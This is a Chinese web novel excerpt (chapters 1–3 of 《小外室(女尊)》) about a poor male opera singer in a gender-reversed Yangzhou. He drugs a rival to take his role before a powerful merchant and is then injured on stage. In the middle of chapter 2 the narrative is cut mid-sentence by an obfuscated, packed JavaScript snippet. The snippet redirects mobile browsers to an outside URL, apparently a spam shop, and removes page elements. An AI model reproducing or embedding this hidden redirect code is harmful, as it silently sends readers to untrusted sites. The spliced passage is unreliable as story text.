《小外室(女尊)》 1. 贫穷的小外室 娉娉袅袅十三余,豆蔻梢头二月初。 春风十里扬州路,卷上珠帘总不如。 街头巷尾的说书人又在用这首诗向那些愚蠢的外乡人夸赞扬州的美丽与富庶。 与它一江之隔的中原早已经是百战之地,各路诸侯征伐不止,城野之间,千里赤地,白骨露野,十室九空。 只有扬州,在沈王那只令人闻风丧胆的铁骑的保护下,依旧这样繁华迷人,软红香土,纸醉金迷。 如今沈王在北方连战连胜,眼见就要试一试九鼎的轻重,这让扬州人如何不激动万分? 咱们扬州,以后也是龙兴之地呀! 这样的幸事,不如相携去那几家豪富经营的茶楼酒馆里——譬如穆家酒斋,喝上几盅? 香茶醇酒,声色歌舞,扬州是应有尽有的,若还不尽兴,还有腰肢细软,艳若桃李的男子盛装歌舞博小姐一笑呐。 扬州是个多么可亲可爱的地方啊! 他快恨死扬州这个鬼地方了。 崔棠从四面漏风的棚屋里出来,愤愤推开柴门,那破旧的木门年久失修,经不得他这一推,当即像行将就木的老人一样,滋哇乱叫起来。 崔棠烦躁不已,昨夜吹了一宿北风,偏他为了凑齐那十两银子早早的将厚被褥都拿去当了,只能裹着夹袄对付了一夜,晨起喉咙就酸痛难忍,想来是风寒的前兆。 这个节骨眼上,他哪来的银子看郎中吃药? 刚睡醒浑浑噩噩的,十两银子更是连影子都瞧不见,只好再去鼎香楼唱上半日,碰碰运气。 崔棠顾不得那许多,匆匆换上粗布短打,到院中水井处吃力的打了半桶水上来,春寒料峭,井水冰凉刺骨,对他来说,用热水洗脸太奢侈,崔棠直接鞠一把冰水,泼在自己脸上。 冷水把他泼了一个激灵,崔棠屏住一口气,捧着水胡乱的在脸上抹着,直到将脸洗的清爽干净,他才停手,低下头,盯着倒映在铜盆水面上的那张脸看。 他早死的娘爹留给他一张漂亮的脸。 他虚岁十八,正值华年,皮肤白皙透亮,被冰凉晨风一吹,会从血肉里透出几分蔷薇一样娇嫩的粉色来,他撩起额前被水打得凌乱潮湿的碎发,露出一双琥珀一样剪水秋瞳来,他眨一眨眼睛,眉黛如青山,双眸若清泓。 崔棠看着自己的脸,焦躁不安的心底渐渐安定下来,有这样的模样,还有那么些愚蠢的女人,自己何愁挣不到十两银子呢。 他洗罢脸,匆匆涂了些劣质的胭脂在唇颊上,最后忘一眼水中面容,压下胸口的闷痛,抬脚绕过院中其它人家横七竖八摆着的废弃家私,穿过不见天日的窝棚区,来到熙攘繁华的南门大街上站定。 崔棠踮起脚,深吸一口气,浓稠的脂粉香气合着鼎沸的人声像一道激浪一样撞过来,将崔棠撞得晃了一晃。 鼎香楼在城南,他挂靠的戏班子宝家班常年驻扎在那里,平时给散客唱些淫词艳曲,挣几文钱的恩赏,运气好时接点大户人家的堂会。 若是正经人家的男子,对这些下九流的戏子自然唯恐避之不及的,何况这宝家班里还有那么多男戏子! 男人唱戏,为的难道是追求戏曲造诣吗?不过是挂羊头卖狗肉,打着登台卖艺的幌子,暗中做皮肉生意罢了。 崔棠也不愿去这种地方陪笑卖唱,他也曾是良家子,只是娘爹去的早,宝家班的班主连小楼欺他家中无人,走投无路,扣住妹妹崔棣,逼他签下卖身契,拜入宝家班学艺。经年日久,崔棠已经数不清自己挨了多少荆条铁棍,受了多少细碎折磨。 好在他早死的娘爹留给他一副好皮囊,好嗓子,让他渐渐的混出头来,攒下些钱,能带着崔棣在贫民窟里赁一套单独的屋子,不必和宝家班那些满身臭汗的戏子们滚一张通铺。 街头瞎眼的神算子说崔棣是文曲星下凡,日后能考秀才做大官,崔棠自然相信。等崔棣到了开蒙的年纪,他舍下脸,跪到那老童生跟前声泪涕下的求她让崔棣入学。老童生嫌弃他的出身,却舍不得他的束脩,便捏着鼻子收下崔棣,好在崔棣聪明伶俐,在学塾里常常拔得头筹。 只是学堂的束脩一年比一年价贵,崔棠还少女心气,常常在学堂里闯出许多祸事来,他一个无亲无故的小男人,又带着崔棣那么一个只花不赚的拖油瓶,长着一张嘴,既要吃饭,又要读书,每天一睁眼就要花去许多钱,这一切简直就像一条鞭子,无休无止的驱使着他,为了银子在鼎香楼里伏低做小,吞泪饮恨。 想到崔棣,崔棠停下忙乱的脚步,长长的叹了一口气。 学堂里的同学不过议论了自己几句,她就怒气上头同人家打架,打架也就罢了,偏偏打伤了和豪富穆家沾亲带故的小姐。 现如今人家将崔棣扣在学堂里,张嘴就要十两银子,否则不仅要打断崔棣一双写字的手,还要报官,让崔棣尝一尝牢狱的苦头。 他无依无靠,只能为了凑够十两银子废寝忘食,软下腰肢,在那些粗鄙的食客面前将喉咙唱破罢了。 今日鼎香楼里似乎要有什么大活动,分明没什么人,却早早挂出客满的牌子,恐怕是城中哪位豪商包下鼎香楼宴客,崔棠低下头,暗道不好。 扬州富庶,家财万贯在这里是个骂人的话,若是叫城北的那些豪商听了,是要指使仆役来骂人泄愤的。在这些豪商之中,为首的乃是谢、穆、刘三家,这三家人崔棠虽没有见过,也从街头巷尾的闲话里听到了不少不知真假的传闻。 ——谢家蛮横,穆家骄矜,刘家更是欺女霸男,害得许多人家破人亡。 有钱的都不是什么好东西,崔棠在心中暗暗嘀咕着,况且豪商宴客,今日的剧目演员定然是早早就已经定下。可这样兴师动众,声势浩大的演出,宝家班上下却将崔棠瞒得严严实实,事到临头才叫崔棠知道。 崔棠有些气闷,今日没有散客,连小楼也没安排他登台,酬劳和赏钱就和崔棠没什么关系。崔棠咬着牙,盘算着到底如何凑够十两银子,他一边算一边心里恼火——宝家班上下早就知道今天的安排,却没有一个人和崔棠说,日日冷眼旁观崔棠为十两银子急得热锅上的蚂蚁一般,还要他白跑这一趟。 崔棠咬了咬牙,压下心底的愤懑,咧嘴勉强露一个笑,像什么都不知道一样抬脚迈进鼎香楼。 他知道今天这一出是为谁——一个月前连小楼明里暗里说他年岁渐长,戏班里早就供不起他的吃穿用度,他也到了报恩的时候了。崔棠只在心里冷笑,嘴上冠冕堂皇,可戏班子里男人报恩的方式不就是卖笑陪酒吗? 崔棠装傻卖乖,逃过去几次,连小楼几次借机发难,沾了盐水的荆条打在脊背上,冷汗像雨一样砸在石板上,他都咬牙忍了,为的不过是守住最后的底线罢了。 可连小楼还是不放过他——崔棣是他的命根子,若时限到了,他还拿不出银子,他还有什么路可走呢? 宝家班的每一个人,与他说的每一句话,都在帮连小楼拉他下水。 大堂里正在收拾戏台子,正中探出一座木制的亭子,四根碗口粗细的硬木桩子支撑着正中飞檐,檐角探出几寸,末端各挂一串金铃。戏台对面是看戏的宝座,一张方桌,两张太师椅,背后一盏贵气逼人的鎏金屏风。 亭子上还挂着一块牌匾的,上面的字龙飞凤舞甚是好看。 但崔棠没在意,他只是循着昏暗的回廊一路进到后台,看见一对女男,女子身量颀长挺拔,看着英武威风,端端坐在铜镜前,闭目养神,由那年轻男子拿着油彩为自己描眉画眼。 崔棠上去,笑着打了一声招呼。 “黄师姐。” 黄师姐微微睁开眼,见来者是崔棠,勾勾嘴角笑道:“今日倒是稀奇,肯开口叫我一声师姐。” 崔棠有求于人,不得不对着这个风流成性的师姐装乖讨巧:“之前是我不懂事,如今知道师姐对我的照顾,特特来找师姐赔不是。” 黄师姐早知道他的脾性,见他这样便知道他是来借钱的,不过她看了眼身边为自己上妆的梅卿——美则美矣,却失了天然纯洁的风韵,于是黄师姐顺着他的话,顺水推舟道:“叫都叫了,你何不也同梅卿一般,同我做一对真姐弟。” 她说着,拉住身侧梅卿的手肘,暧昧的摩挲着,梅卿不为所动,只拿一双满是风情的眼睛睇她,崔棠心里骂了一声,什么真姐弟,还不是 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“下午来谈生意的穆三小姐,穆念白,是扬州城里首屈一指的良善人,每年冬天施粥放粮,扬州大户里,属她心善。她今日约了刘家大小姐来谈生意,定下谭秋童的一折《贵君醉酒》,咱们这唱得好的,除了谭秋童,便是你了。” 梅卿抬眼,狡黠的眨着眼睛,对着崔棠循循善诱。 “能在穆三小姐跟前唱上一出,别说十两银子,就是十两黄金,穆三小姐也赏得起。” 《贵君醉酒》…他倒是唱的不错,只是宝家班上下得了连小楼的授意,合起伙来排挤他,他已经许久没有登过台了,且冬日里崔棣生了一场大病,他衣不解带的照顾了许久,腰腿上的功夫松懈了许多,许多动作不知道还做不做得出来。 但是,崔棠咬了咬下唇,他真的很需要那十两银子。 梅卿似乎看出他心中的顾虑,佯装不经意,轻松道:弟弟,我从来不说假话,你虽没登过台,可是唱念做打,都是顶好的,谭秋童年老色衰,哪能比得上你呢?” 梅卿见崔棠还是不为所动,眨了眨眼睛,将话说的更诱人:“而且要我说呀,她们这些大老板,谈几万两的生意,心神全在银子上呢,谁有那个闲情逸致听咱们唱的怎么样呢?咱们在那,不过是当个漂亮花瓶罢了,就算是唱错了,做错了,谁能发现呢?” 崔棠被他说得心动,穆三小姐,他是听说过的,去年冬天,他还吃过她施的粥,上好的白米,熬得稠乎乎的,黏在嘴巴上,满嘴的米香,喝一碗能撑过一宿。 她应当是个心软仁慈的人吧。 “可是,可是不是定了谭秋童…” 梅卿眨着眼睛笑:“弟弟,人有三急啊。” “何况谭师哥连唱这许多天大戏,便是有个头疼脑热的,也是正常呀。” 前面有人忙得大汗淋漓,来叫黄师姐与梅卿过去帮忙,梅卿意味深长的看崔棠一眼:“这样的机会可难得,除了穆三小姐,还有谁出手会这样阔绰呢?时间不等人,那穆家不是什么善类,等你凑齐十两银子,你妹妹得在她们手里吃多少苦头啊。” 她们走时将门口厚重的棉布门帘放下,挡住本就稀少的天光,崔棠被埋没在浓稠的黑暗中,觉得那些黑暗像潮水一样渐渐漫过自己的胸口、嘴唇、鼻尖,让他喘不过气来。 崔棠忽然奔跑起来,几乎是在动物本能的驱使下,向着从门帘之后透出的那一线光亮奔去。 他一头扎进人声鼎沸的大堂,明晃晃的天光重现在眼前,他揪着自己领口,大口喘着气。 宝家班的人都忙的脚不沾地,一个矮小的丫头被七八处叫去帮忙,手足无措,忙的像个陀螺一样,恨不得转着圈飞起来。她见有人来,急急忙将一盘千层油糕放到崔棠手里,急得口齿不清,匆匆抱怨:“楼里这么忙,偏他谭秋瞳矫情,非要吃现做的千层油糕,好容易给他买回来,又四处找不见他,诶!崔棠!你过来!左右你今天不用登台,你抓紧给他送过去!” 崔棠怀里突然被塞了一盘子点心,不知所措,他在原地站了一会,听见那跑腿的抱怨。 “一个男戏子,不知道被几个人玩过的东西,真把自己当千金大少爷了,要东要西,什么时候把他药死了才好。” 2. 使坏的小外室 下午约了刘卿文商量那批给沈王的货,穆念白晌午便没什么心思用膳,只在自己的宅子里简单吃了碗茶,略进了些点心垫了垫肚子,心里想的全是下午的生意。 北方征伐不休,铁、盐、布、茶,乃至马匹兵器什么都缺,沈王百战百胜,家底颇丰,从商贾手中收购时从不吝啬银子。穆念白在南方经营多年,虽早已经攒下了富可敌国的家财,但她也知道,南边的生意自己已经做尽了,扬州城里每个人都在等着自己登高跌重的那日,鬣狗一样,眼巴巴的瞧着自己身下的家财。 她若想挣的更多,走的更稳妥,还是得看即将尘埃落定的中原。 ——出身扬州的沈王如今正逐鹿中原,势如破竹,连战连胜,她也得想个办法押宝才是。 所以穆念白便想着把手里的货运到沈王那,也发一发乱世的财。 货物人手她是应有尽有的,只是少一条穿过战区,把货运到沈王门下的门路。 恰巧刘卿文有个远房的侄子,在沈王后宅里颇得恩宠,她便想和刘卿文商量,走刘家在沈王侍君那的门路,把货运到沈王军营里去。 生意做成,先给沈王五成,算是穆念白的投名状,剩下再分给刘卿文两成,只当是穆念白给她的过路费。 这笔生意的利润少说也有几万两,穆念白不得不打起十二分的精神应付。 刘卿文说是精熟音律,偏好雅音,实际上在宝家班里有不少相好的,为人贪婪倨傲,自诩风雅。 穆念白早早在鼎香楼定下酒席,提前和与自己相熟的谭秋童定下一出《贵君醉酒》。 午时已过,穆念白叫来侍女嘉禾为自己洗漱梳妆。 她的生父应当是一个姿容出众的男子,否则不会留给她这样一副好容颜,可是侍女看着铜镜中的女子,看着她挺拔如松的身形,总是会下意识的忽略她俊美的脸庞,下意识的拜服于她眼波流转间爆发出的令人心驰神往的锐气。 小侍女嘉禾只觉得,穆念白这样的人,似乎生下来就是要被万人敬仰的。 穆念白淡淡看她一眼,吩咐道:“收拾的利索一点,不必配太华丽的首饰,取那枝岫玉钗来将头发簪住便是了。” 嘉禾依言照办,见穆念白从斗柜里挑出一件墨绿道袍,乍见只觉朴素,唯有细看时能瞧见其上绣成孔雀纹样的金色绣线,在日光之下流光溢彩,墨绿衣袍配玉色发钗,穆念白今日看上去不像豪商,倒像个文人墨客。 豪商出行多乘轿辇,还要攀比轿妇的衣裳首饰,穆念白只觉奢侈靡费,丢人现眼,出行时多乘马车。 乌篷的黑漆马车,通身不见纹饰,看着古朴内敛,所用的木料金银,却是世所罕见的。 车妇扬起马鞭,穆念白在四平八稳的车厢里闭目养神,不过片刻,车架就在鼎香楼门前停稳。 穆念白掀起珠帘,缓步下车,站在鼎香楼门前,抬头扫视今日的布置,鼎香楼的老板与宝家班班主连小楼像两个烧火丫头一样唯唯诺诺的站在她身后,缩着手脚等她训示。 穆念白环顾一圈,收回目光,瞥这二人一眼,随口称赞道:“今日布置可称风雅,若是生意谈成,穆某人自然要为二位老板记一笔功劳。” 二人擦着额角冷汗,忙道不敢,连小楼尤为心虚,一张白面团子一样的脸上沁满了冷汗,穆念白敏锐的盯着她:“连班主,有什么事瞒着我?” 虽是问句,她说的却笃定,连小楼深知瞒不过她,只得负荆请罪:“穆老板,不是小人存心,实在是谭秋童不争气,这个节骨眼上,贪嘴多吃了几块点心,克化不动,如今上吐下泻的,实在是登不得台了。” 穆念白并不言语,只是眯着眼睛盯着她看,连小楼被她看的腿脚发软,忙不迭的解释:“穆老板,小的绝不敢坏您的好事,实在是实在是…” 穆念白轻哼一声,骂了一句:“都是些不中用的废物,罢了,其他人呢?梅卿不是一向喜欢抛头露面吗?就叫他来。” 连小楼笑得比哭的还难看,低三下四道:“梅卿起了高热,也唱不了,其余的已经扮上了别的角…” 穆念白目露不虞,面色不善的盯向她,连小楼急忙说解决的办法:“如今还有一个叫崔棠的,自告奋勇来替谭秋童唱今日这一出!” 崔棠,穆念白只远远见过一面,一个很漂亮的男人,小小一只,猫儿一样的东西,嗓子倒是空灵清脆,能比过春日里的黄莺。 穆念白轻声一笑:“自告奋勇?” 连小楼一边擦着冷汗一边心里暗骂,这些男人喜欢勾心斗角,争风吃醋,她一向是知道的,以前小打小闹,他们又时常来奉承讨好自己,连小楼也就睁一只眼闭一只眼,眼不见为净了。她没想到,如今要命的时候,他们竟然还该耍鬼! 她去看了谭秋童,已经是四肢无力下不了床了,而且听声音,喑哑嘲哳,难以入耳,嗓子已然坏了。 这对谭秋童来说,和杀了他也没什么分别了。 只是不知道哪一个心狠手辣的男人,对自己的同门兄弟下这样的死手。 连小楼第一个怀疑的,便是自告奋勇的崔棠,宝家班众人排挤冷落他,他出于愤懑做出这样的事也在情理之中,连小楼在心里早已经把崔棠骂了个狗血淋头。 今日若是平安无事也就罢了,若是崔棠闯了祸,惹得穆念白不快,她非扒了崔棠的皮不可。 穆念白冷眼看着连小楼,见她脸上青一阵白一阵,既心虚又害怕的窝囊样子,心中不满,她冷笑着:“连班主,别怪穆某人没提醒过你,我不是好脾气的人。” 连小楼急忙点头哈腰的称是:“是,是,穆老板是性情中人…”她含含糊糊的请罪,“小的管理不善,叫穆老板看了这样难看的笑话,小的回去一定彻查,必叫那使坏的人付出代价才行。” 穆念白垂眼,把玩着拇指上的翡翠扳指,侧颜看向一侧供奉在神龛中的佛像,冷声道:“你最好现在就开始祈祷今日平安无事。” 她最后看一眼面如金纸的连小楼,一掸衣衫,不再理会迭声讨饶的连小楼。 “否则...哼,你知道后果的。” 刘卿文自诩年长,架子摆的很足,约好的时间早已经过了,案上香茶已经换过三壶,鼎香楼前仍不见刘府轿辇,穆念白面上不显,只是安静的坐在桌边闭目养神,心中却生出许多谋算来。 说实话,她并不想和刘卿文合作,姓刘的有一个算一个,都是些衣冠禽兽的,一个个看着端方如玉,气宇轩昂,实际上都是人面兽心的脏货。 穆念白思量着,要不要让宋好文亲自跑一趟燕京呢?路上虽然是险象环生,但若是就此能和沈王搭上线,那才是一本万利。 外面传来一声盖过一声喧哗声,穆念白抬眼,将茶杯轻轻搁到案几上,嘴角一勾,挂一个客气和善的笑在脸上,她整理着衣衫,恰逢其时的走出去将满面红光的刘卿文迎了进来。 刘家的轿妇穿红着绿,披丝绸,戴翡翠,头顶一簇簇金光闪闪的珠花,晃得人睁不开眼。 穆念白不着痕迹的移开眼睛,一边同刘卿文寒暄,一边心想,是该让宋好文跑一趟燕京的。 刘卿文年近而立,经年的养尊处优让她看上去珠圆玉润,白白胖胖的脸和善得像弥勒佛一般,她穿一身素衣,携一把折扇,见了穆念白,“唰”一声将折扇打开,装作不经意,露出洒金的扇面和一整面行云流水的泼墨。 穆念白瞥一眼,心中暗笑,当即顺着刘卿文的心思夸道:“前朝赵孟希的墨宝,扬州城内第一风雅人物,当属刘姐姐。” 刘卿文花大价钱才买回来这一把扇子,穆念白这一句恰巧夸在她的心尖上,她哈哈一笑,亲昵的攀上穆念白的肩膀,轻巧的解释道:“非是姐姐有意来迟,燕京来了信,我那侄儿有了身孕,算起来是沈王的第五个孩子,府里高兴得摆了几桌酒,我多喝了几杯,所以来迟了。” 穆念白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282205|151881||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心知刘卿文是在炫耀刘家和沈王的关系亲厚,不…与其说是炫耀,不如说是示威。 穆念白道了声贺,抬手引刘卿文入座,她轻轻扫一眼嘉禾,嘉禾会意,自去安排酒席和折子戏。 精致昂贵的菜式流水一样呈上来,鼎香楼的老板看了都咋舌,可刘卿文只是淡淡的看着,有些不满意一样,微微的摇头,她那筷子翻动着那道爆炒凤舌,挑剔道:“这凤舌用禾花雀的舌头才鲜美入味,如今只用乳鸽,却是失了风味。” 燕京的沈王一年都吃不到几只禾花雀,她刘卿文倒是豪横。 穆念白轻笑一声,叫嘉禾过来将所有菜都撤下去,只上两杯香茗,穆念白起身,亲手为刘卿文斟茶:“不知姐姐风雅,叫这些俗物扰了姐姐兴致,合该给姐姐赔罪道歉的。”她抬起茶杯,“以茶代酒,我敬姐姐。” 刘卿文在穆念白眼前耍够了威风,心满意足的抿了一口茶,武夷山山巅的大红袍,一年所产不过两三斤,竟全到了穆念白手里了。 刘卿文不由得妒火中烧,她穆念白是个什么东西,二十年前穆家从外面抱回来的野种,母亲都不知道是谁的孽障,怎么天下的银子都叫她挣去了! 如今她有求于自己,合该多出点血才是。 ——生意她是想做的,只需给燕京的侄子递一句话,教他吹一吹枕边风,就有几万两银子入账,这样无本万利的生意,傻子才无动于衷。 可是,刘卿文看着面前年轻得意的穆念白,心中的妒火又止不住的烧起来。一个黄毛的丫头,不知道从哪来的野种,凭什么你做什么事都一帆风顺,干什么都志得意满,我非得也让你吃点苦头才行。 生意当然还要谈,但刘卿文打定主意,一定要给穆念白找点不痛快。 穆念白静静看着刘卿文,看着酝酿在她眼中的嫉恨与恼火,她笑得和煦,温声像刘卿文建议道:“歌以咏志,乐以抒怀,我叫宝家班准备了几出好戏,正等着姐姐赏脸呢。” 刘卿文脑海中闪过一张张容姿昳丽的脸 刘卿文问:“今日备下了哪几出戏?” 穆念白想了想,笑着回答:“有一出《贵君醉酒》,不知姐姐喜不喜欢?“ 刘卿文自然喜欢,贵君,刘家子若是能为沈王诞下麟女,以后难道做不得贵君吗? 刘卿文满意的点头:“就这一出罢。” 嘉禾便下去传话,紧锣密鼓的安排起来,穆念白看了一眼刘卿文,趁台上正在布置,斟茶倒水,说起正事。 “前几日跟姐姐商量的那事,姐姐思虑得如何了?” 刘卿文佯装听不清,闭眼假寐,待穆念白耐着性子重新又问一遍,方轻声道:“这生意倒是能做,只是往北去的路上困难重重,我那侄儿在沈王身边也是如履薄冰,为了那点银子贸然将你的货送过去,恐怕会引起沈王的不快啊。” 穆念白心中暗骂,真是好大的胃口,白得几万两银子还嫌不足。 穆念白眼神微动,笑着比了个二,“若姐姐愿意帮我,这一趟下来,我让二成利给姐姐。” 刘卿文皮笑肉不笑:“二成就想让我把脑袋栓裤腰带上班给你办事,这可不成。”她轻轻,将穆念白的手指掰出两根,“四成才够。” 刘家没有那么多的人力物力做贯通南北的生意,但刘卿文也笃定穆念白找不到其它合适的门路,所以狮子大开口,能敲多少是多少。 穆念白深吸一口气,这才是真正的人心不足蛇吞象。 帷幕缓缓拉开,戏子们粉墨登场,刘卿文收回眼神,轻蔑一笑:“放着这么好的戏不听却去谈生意,多扫兴,到底是穆老板年轻气盛,耐不住性子。” 穆念白噙着一抹冷笑,同样转回眼神,心道看来宋好文这一趟燕京,是去定了。 她抿一口水,压下心底诸多思绪,听见台上一声锣鼓响,好戏开场。 穆念白抬起头,幽深漠然的眼神看向高台之上。 3. 闯祸的小外室 崔棠站在两层楼高的戏台上,心中慌乱极了。 现在想来,今天的事真是蹊跷极了。 他承认他是个阴险恶毒的小人,为了这一个能挣十两银子的机会往谭秋童那碟子点心里下药。 可谭秋童也是咎由自取啊!他平日里那么骄横,眼高于顶,拿鼻孔看人,谁也看不起,崔棠每次去找他,不是被恶语相向,就是被拳脚相加。 这也就罢了,谭秋童嘴上从来不干净,在他嘴里只要是个男的就是自甘下贱自荐枕席的浪货,崔棠和他又在行当上撞了号,谭秋童每每借机生事,让崔棠无端经受了许多细碎折磨。 说句不好听的,崔棠等今日已经等了许久了。 可是崔棠十分确定,他往碟子里放的,只是些让人坏肚子的泻药,绝不会出现谭秋童如今浑身酸软,四肢无力,高热呕吐,失语昏迷的症状啊! 谭秋童如今的模样,分明连性命都难保。 刚知道谭秋童无法登台时崔棠心中还有几分窃喜,后来知道了谭秋童的症状,他心中就只有恐惧了。 崔棠心乱如麻,如今这个情形,不管怎么看,都是自己嫌疑最大。 崔棠咬着嘴唇,殷红血珠从柔软的嘴唇上钻出来,为他大红的唇彩添一分晶莹的水光。 琴声鼓声紧促密集的响起来,隔着帷幕,高裴二位力士正扯着嗓子念白——贵君该出场了。 崔棠白着脸,他轻垂眼眸,觑见自己鼻尖上一簇簇经营的冷汗,崔棠不得不深吸一口气,压下自己的心悸,他开始试图说服自己——只要唱好了今天这一出,一切都还有机会解释。 只要渡过眼前这个难关—— 崔棠微微扭了扭头,尝试活动自己被锦绣凤冠压的僵硬的脖子。 冬日里崔棣生了一场病,他衣不解带,不分昼夜的照顾了她一个月,已经许久没有穿戴得这么整齐过了。方才勒头贴片子戴大柳时,他甚至有几分生疏。珠串从凤冠上垂下来,随着他的动作叮当作响,珠串清浅的阴影滑过,露出他小巧精致的脸颊,羊脂玉一样的一张脸,眼窝里揉满了胭脂,更衬得他那双杏眼波光流转,楚楚动人。 崔棠一手伸出颠弄几下,将水袖拢在小臂上,露出一截藕段一样粉白无暇的腕子,他捻起指尖,用细白手指捏起一把折扇,虚虚靠在腰侧,一手则虚扶腰带。他回头,看一眼镜中的自己——桃夭李秾,风情万种,崔棠抿嘴一笑,露出两颗米粒大小的贝齿。 扮作内侍的龙套们手持宫灯鱼贯而出,然后是持节的、打扇的,最后就到了崔棠。 崔棠清了清嗓子,矜持的向前迈出小步,绣满花草纹饰的衣衫下摆像活了过来一样,随着他轻盈的步伐海浪一样起伏,未等出场,他便拿起腔调,开嗓念道:“摆驾——” 不见其人先闻其声。 这一嗓子真是脆亮极了,似黄鹂似娇莺,似琴筝似环佩,似冬日落雪轻拂琉璃瓦,直将穆念白满腔的不快都扫平了。 穆念白将心神从眼前见之令人生厌的刘卿文身上收回来,眸光微动,看向台上的崔棠。 这人的扮相与他的好嗓子也是相得益彰,身量修长匀称,眉如翠羽,肌如白雪,眉眼间含羞带怯,正应了那句“增之一分则太长,减之一分则太短;著粉则太白,施朱则太赤”。 穆念白不动声色的收回目光,轻轻抿了一口茶水。 之前来得少,竟叫这样一颗明珠蒙尘。 崔棠矜持的缓行几步,甩动水袖,露出自己雪白的手肘,葱白指尖交叠,缓缓将折扇捻开,轻转手腕,却用折扇将自己半张脸挡住,藏在折扇的阴影下,只露一只水光粼粼的杏眼,似有似无的看向台下,他眼波流转,暗中猜测着台下哪一位是传说中的穆三小姐。 那富态圆润的中年女人自不可能,那就只剩下那个笔直得像一颗竹,锋锐得像一把剑的女人了。 她看上去不过二十出头,眉眼轮廓都漂亮极了,可眼眸中的锐气怎么也藏不住,哪怕是她不经意的扫过来,崔棠都觉得腿脚一阵酸软。 “海岛冰轮初转腾,见玉兔,玉兔又早东升——” 崔棠有条不紊的唱着,翘着纤细莹润的指尖,摆弄着手中的折扇,间或眼波微动,看向台下的穆念白,抿嘴而笑。 穆念白但笑不语,若无其事的喝茶,崔棠心中就有一些气馁——明明旁边那胖女人的眼睛里已经着火了,你怎么还冷得跟冰一样,一点高兴的样子都没有。 你不高兴,谁给我十两银子的赏钱呢? 刘卿文在台下,却是听的火起。崔棠自然是极好的,唱念做打无一不精,身段模样也是叫她恨不得能搂在怀里宠爱一番的,唯一的不好,就是这样标志的小郎君,竟只顾着给穆念白抛媚眼! 刘卿文心中冷笑,对台上的崔棠与台下的穆念白愈加不喜,遂不阴不阳道:“还是穆老板年轻貌美,勾的这位小郎君要自荐枕席,凭穆老板这张脸,世上还有什么做不成的生意呢?” 穆念白瞥她一眼,轻笑一声:“各凭本事罢了,何况若论美貌,谁比的上年轻时的刘老板呢?” 刘卿文自知嘴皮子功夫也比不过穆念白,只好冷哼一声,扭过头死死盯着台上的崔棠看,直将崔棠看得浑身冷汗直冒,眼前一阵朦朦胧胧。崔棠垂眼,暗道此人并非善类,唱完戏后要小心逢迎。 他竭力定了定神,却觉得腹腔内仿佛烧起了一把火,灼烧着自己的五脏六腑,肺腑内一阵阵的刺痛几乎让他难以忍受,可这把火又无法带来任何的温度,不知道从哪里漏进来的冷风刮在身上,刀片一样割着他的皮肉。 ——他果然还是染了风寒。 趁气口,崔棠深深的呼出一口浊气,如今正唱到贵君卧鱼闻花的关键处,这一出戏千万不能砸在自己这里。 崔棠屏气凝神,打起十二分的小心,从侧面弯下,玉面朝天,下腰时迅如鱼跃,一气呵成定住身形缓缓回脸亮相时又如游云舒展闲静。他抬手,指尖微拢做拈花状,侧头,用小巧细腻的鼻尖贴近莹润指尖,陶醉的轻嗅。 穆念白坐在台下,看着崔棠炉火纯青的演出,不由得出神——虽然她对戏曲一知半解,但也能看出崔棠在这一出戏上下了苦功夫。 穆念白在心中轻笑,能自告奋勇顶了旁人的,果然有几分真本事,她抬头瞄一眼刘卿文,见她也被台上色艺双绝的男人折服,在心中盘算了起来,若是生意谈成,自己定然要给这个崔棠包个厚封——毕竟谭秋童如今是不中用了,自己是时候捧个好用的新人出来了。 对有真材实料的人,穆念白从不吝啬自己的褒扬,她自然而然的拍手叫好,清亮的叫好声在空旷的鼎香楼回荡,久久不停,在崔棠耳中有如天籁。 崔棠微微松了一口气,能得穆三小姐这一声喝彩,也不枉今天自己折腾的这一出。 崔棠见十两银子有了着落,浑身上下紧绷的骨肉渐渐的松懈下来,他口衔金杯,佯做醉酒,双手掐住金腰带,背转过身,将纤细的背影留给台下的穆念白,崔棠叼着酒杯,缓缓向后下腰,头上珠翠直上直下,不动分毫,只从一双秋瞳中流转出明亮的眸光来,崔棠一边将柔软的腰肢弯折下去,一边在心底暗自期待着穆念白的反应。 她是个识货的人,不会看不出自己身上经年的功夫,不会听不出自己的婉转柔肠。 ——在那颗生锈的铁钉刺穿他的脚背前,他一直都在这么期待着,心中甚至有一点得意。 刺痛是从脚底的一个小点渐渐扩散开来的,那颗钉子先穿透绣花鞋聊胜于无的鞋底,然后刺破他纤薄的肌肤,扯断他的血肉与筋膜,刮过骨骼的侧面,带着一簇艳丽的血花,从脚背喷涌而出。 剧痛之中,崔棠意识模糊的低下头,朦胧之间,仿佛看见殷红发血液像一条细长的蛇,顺着地板发霉长斑的缝隙蜿蜒而下,他努力攥紧拳头,用指尖掐进皮肉里,试图用掌心的疼痛压过脚上的疼痛,唤醒自己的意识,可无论做出什么样的努力,都徒劳无功。 心口一阵剧痛,像有谁将手伸进了自己的胸腔,紧紧攥住自己的心脏。 他像一只将死的蝴蝶,在奢靡华美的戏台上飞快的萎靡了下去,之前那个娇俏高贵的贵君仿佛只是镜中花,水中月,被一根钉子扎得烟消云散,只留下一个嶙峋伶仃的男人,裹着一身满绣的戏服,捂着半瘸的脚,被潮水一样涌来痛苦击倒在地,蜷缩起来。 那根钉子仿佛锲进了他脚掌中,无论他怎样徒劳的挣扎,彻骨的疼痛还是顺着脚掌蔓延到全身上下。 刺穿脚掌的那根钉子,仿佛打开了一道闸门,在他身体积攒了许久的苦楚病痛像洪水一样迸发出来,咆哮着席卷过他的四肢百骸,胸腔与咽喉也起了火,将他架在火堆上炙烤。崔棠无助的抬起头,因为疼痛与失血,他的眼前像下了雪一样,只余白茫茫一片,恍惚间,仿佛有谁在他耳畔讥讽。 ——瞧你这样费尽心思,到头来不过是做了跳梁小丑罢了。 崔棠挣扎着爬起来,半跪在粗粝的地板上,他很想向四处看一看,看一看那些人脸上那一层虚伪的面具有没有露出裂痕,看一看究竟是谁在处心积虑的害自己。 